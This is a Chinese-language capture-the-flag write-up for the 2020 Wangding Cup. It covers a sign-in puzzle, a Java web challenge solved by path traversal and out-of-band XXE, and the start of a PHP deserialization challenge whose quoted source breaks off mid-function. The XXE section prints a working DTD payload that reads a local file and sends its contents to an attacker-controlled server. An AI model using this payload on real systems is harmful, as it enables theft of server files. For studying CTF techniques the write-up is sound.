2020网鼎杯wp

MISC

签到

• 点进去是选战队图标
• 全部通过后会让输入token

• 然后能在console看到flag

WEB

filejava

• 打开题目，查看基本的功能后发现有一个文件下载功能，尝试穿越目录发现web.xml

• 再次寻找这几个servlet的字节码在classes/cn/abc/servlet/xxx.class

• 将class反编译之后发现具有xxe漏洞

• xlsx文件以压缩包方式打开，更改各个文件夹中的xml文件，然后再本地vps监听端口

<!DOCTYPE data SYSTEM "http://***.***.***.***/no_show_poc.dtd">
<data>&send;</data>

no_show_poc.dtd：
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://***.***.***.***:9999?p=%file;'>">
%all;

• 最后如图

AreUSerialz

• 打开题目后，直接给出了源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
   

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
   
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
   
        if($this->op == "1") {
   
            $this->write();       
        } else if($this->op == "2") {
   
            $res = $this->read();
            $this->output($res);
        } else {
   
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
   
        if(isset($this->filename) && isset($this->content)) {
   
            if(strlen((string)$this->content) > 100) {
   
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
   
            $this->output("Failed!");
        }
    }

    private function read() {
   
        $res = "";
        if(isset($this->filename)) {
   
            $res = file_get_contents(